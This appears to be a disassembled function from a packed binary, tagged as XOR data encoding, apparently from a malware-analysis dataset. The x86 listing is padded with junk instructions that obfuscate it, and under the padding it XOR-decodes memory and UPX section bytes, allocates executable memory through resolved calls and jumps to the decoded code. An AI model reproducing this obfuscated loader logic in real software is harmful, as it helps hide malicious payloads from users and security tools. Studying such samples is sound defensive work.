Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x96705ec3
mov edx, ecx
sub edx, 0xa9da2c30
sub ecx, 0x25bdd88b
popal
sub ecx, 1
sub edx, 0x585d4be8
mov ecx, 0x9b4a0fcc
mov ecx, 0
mov ebx, eax
and edx, edi
add edx, edx
mov esi, ebx
sub edx, 0x44aced45
mov edi, 0xd18e1305
mov edx, edi
mov eax, esi
sub edx, 1
sub edx, 0xd5f972ad
inc ecx
add edi, 0xbe6da64d
dec edx
add edi, 0x14a63952
cmp ecx, 0x1001204
jne 0xa789d7
add edi, edi
mov edi, edx
not edx
dec edx
mov edx, 0xa78796
inc edi
or edi, esi
mov esi, 0x5fb0c2a7
mov ebx, 0xa7898a
sub ecx, esi
and esi, ecx
sub esi, edi
mov eax, dword [edx]
mov esi, 0xde6864e8
mov esi, 0x3fa51a96
not edi
and eax, 0xff
add edi, edi
mov esi, ecx
and edi, edi
xor dword [ebx], eax
add edi, esi
and ecx, ecx
inc ebx
add edi, esi
inc esi
sub esi, edi
add edx, 1
sub ecx, 0x708ccd30
mov esi, 0x9a933299
cmp ebx, entry0
jl 0xa78a33
mov esi, 0xac967a5c
sub esi, 0x95a8985e
not esi
add esi, 0x3dc998b4
or ecx, ecx
add esi, esi
or ecx, esi
mov ecx, 0x409e6a61
dec edx
mov edi, 0xa7898e
inc esi
add edx, ebx
inc edx
mov edi, dword [edi]
add esi, ebx
inc ebx
sub edx, esi
mov edi, dword [edi]
sub esi, 0x6d0e39cf
sub edx, 0x8c390499
add edx, 0x6ce753c6
push edi
or esi, ebx
mov ecx, ebx
add edx, 1
mov edi, 0xa7898a
add edx, 0x99d70a8d
not ebx
mov edx, 0xa200e1ef
mov edi, dword [edi]
sub ecx, 0x7cdbf573
add ebx, esi
add esi, esi
mov edi, dword [edi]
mov esi, 0x90d97fc5
not ecx
push 0xa78992
not esi
add ebx, edx
sub ebx, esi
call edi
mov ebx, esi
not edx
pop edi
dec ebx
add ebx, 0x75a3319
inc esi
sub esp, 4
mov dword [esp], 0xa7899f
not edx
add edx, 0x71835301
push eax
inc esi
mov ecx, 0x527bedd2
call edi
or ebx, ebx
mov ecx, 0xf24b830d
and edx, edx
push 0x40
add ebx, ecx
add ebx, 0x87fd631a
push 0x3000
add ecx, ecx
add esi, 0x5c74cff2
push 0x20000319
not ecx
sub ebx, esi
sub esp, 4
mov dword [esp], 0
add edx, 0xc53015a2
and esi, esi
mov edx, esi
call eax
add ebx, ecx
or ebx, ebx
add eax, 0x200002ae
mov edx, esi
add ecx, 0x70631dbe
mov edi, 0x645f1bbd
or edx, esi
sub ecx, 0xf524dcb6
and ecx, esi
mov dword [eax], edi
sub ecx, 0xcc21e0f1
sub ebx, esi
mov ebx, 0x34ed5b4
mov edi, dword [eax]
and ebx, ecx
and ecx, ebx
add ebx, 0xf96efd37
cmp edi, 0x645f1bbd
je 0xa78bad
mov edx, 0
mov eax, dword [edx]
add ebx, ebx
add ecx, 0xf229b961
inc ebx
and edx, edx
dec ebx
mov edx, ecx
inc ecx
and ecx, ecx
mov esi, section.UPX1
add ecx, 0x74ab6cfc
add edx, edx
mov ebx, 0xa78795
add edx, 0x64e03f19
add edx, edx
add ecx, 0x21411b78
mov edi, 0
add ecx, 0x8d689469
not ecx
mov eax, 0xa78796
sub edx, ecx
add edx, ecx
mov edx, 0x415f8900
lea eax, [eax + edi]
dec ecx
not ecx
mov eax, dword [eax]
inc ecx
mov ecx, 0x50a4451e
and eax, 0xff
add ecx, ecx
add edx, edx
sub ecx, edx
add edi, 1
or edx, ecx
and ecx, ecx
sub ecx, 0xfc81c143
cmp edi, 0x1f4
jne 0xa78c30
mov edi, 0
mov ecx, 0x231eed48
sub ecx, edx
mov edx, ecx
sub edx, 0x4041ded3
add ecx, 0x36413a56
xor dword [esi], eax
mov ecx, edx
sub ecx, 0x3c23af4a
sub ecx, edx
add esi, 2
sub ecx, edx
sub edx, 1
cmp esi, ebx
jl 0xa78beb
dec edx
and ecx, edx
or ecx, ecx
not edx
mov ecx, edx
add ecx, 1
mov ebx, section.UPX1
and esi, edi
add edi, 0x44e489d3
mov edx, section.UPX1
add edi, edi
mov esi, 0xa0ecf0c4
dec esi
mov ecx, 0xa78795
add edi, esi
sub esi, 0xa819ac9a
or esi, edi
mov eax, 0
not esi
or edi, edi
and esi, esi
mov al, byte [edx]
not esi
add esi, esi
mov byte [ebx], al
sub esi, 0x4d95c1a7
dec edi
add esi, 0x46c43435
inc ebx
dec edi
add edi, edi
or esi, esi
add edx, 2
add esi, edi
and esi, esi
sub edi, 1
cmp edx, ecx
jle 0xa78caa
sub esi, edi
add esi, esi
or esi, esi
sub ecx, 1
add ecx, edx
mov edx, ecx
push 0x8dc6a0
mov edx, ecx
mov edx, 0x2d0a1258
ret